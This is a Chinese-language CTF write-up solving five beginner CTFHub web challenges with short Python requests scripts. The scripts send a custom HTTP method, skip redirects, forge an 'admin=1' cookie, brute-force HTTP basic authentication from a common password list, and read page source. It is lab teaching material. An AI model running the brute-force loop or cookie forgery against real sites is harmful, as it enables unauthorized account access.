闲来无事,用python写了一下,代码都很简单 ctfhub链接:CTFHub
请求方式
他说要用方法CTFHUB,那就直接自定义个方法就可以了
import requests
url = 'http://challenge-25a50f993babac1c.sandbox.ctfhub.com:10800/index.html'
res = requests.request('CTFHUB', url)
print(res.text)
详细用法请参考:requests.request方法
302跳转
我的理解就是他会index.html->index.php->index.html,我们可以直接禁止重定向,就到了index.php就不跳转了,所以可以直接用requests中的allow_redirects=False
import requests
res = requests.get('http://challenge-ef315930cafffdad.sandbox.ctfhub.com:10800/index.php', allow_redirects=False)
print(res.text)
详细用法请参考:requests重定向
Cookie
直接F12看他的request headers 盲猜admin=1就可以了,那直接试一试:
import requests
url = 'http://challenge-248159ff10251d08.sandbox.ctfhub.com:10800/'
cookies = {'admin': '1'}
res = requests.get(url, cookies=cookies)
print(res.text)
详细内容:requests的Cookie
基础认证
click就跳转到: 然后他还给了个密码本: 但没给用户名啊,只能盲猜admin啊,不行就拉倒。 你看,还给了提示,do u know admin 那直接遍历密码本就可以了
import requests
url = 'http://challenge-cf5a0467fb24a0ae.sandbox.ctfhub.com:10800/flag.html'
pwd_list = []
with open('10_million_password_list_top_100.txt', 'r') as f:
for pwd in f.readlines():
pwd = pwd.strip()
res = requests.get(url, auth=('admin', pwd))
if res.status_code == 200:
print(pwd, res.text)
break
详细内容:requests基础认证
响应包源代码
本能地F12 ,然后flag就在里面?? 啊这,那就画蛇添足吧
import requests
url = 'http://challenge-51d50ef13e470ee2.sandbox.ctfhub.com:10800/'
res = requests.get(url)
print(res.text)
然后在输出里面 ctrl+f 查找ctfhub 就会找到了。 当然了,眼神好,也可以找一找,就在body下面一行,不过何必呢?直接F12 不香吗?
附上requests官方文档链接:requests官网文档
以上。
|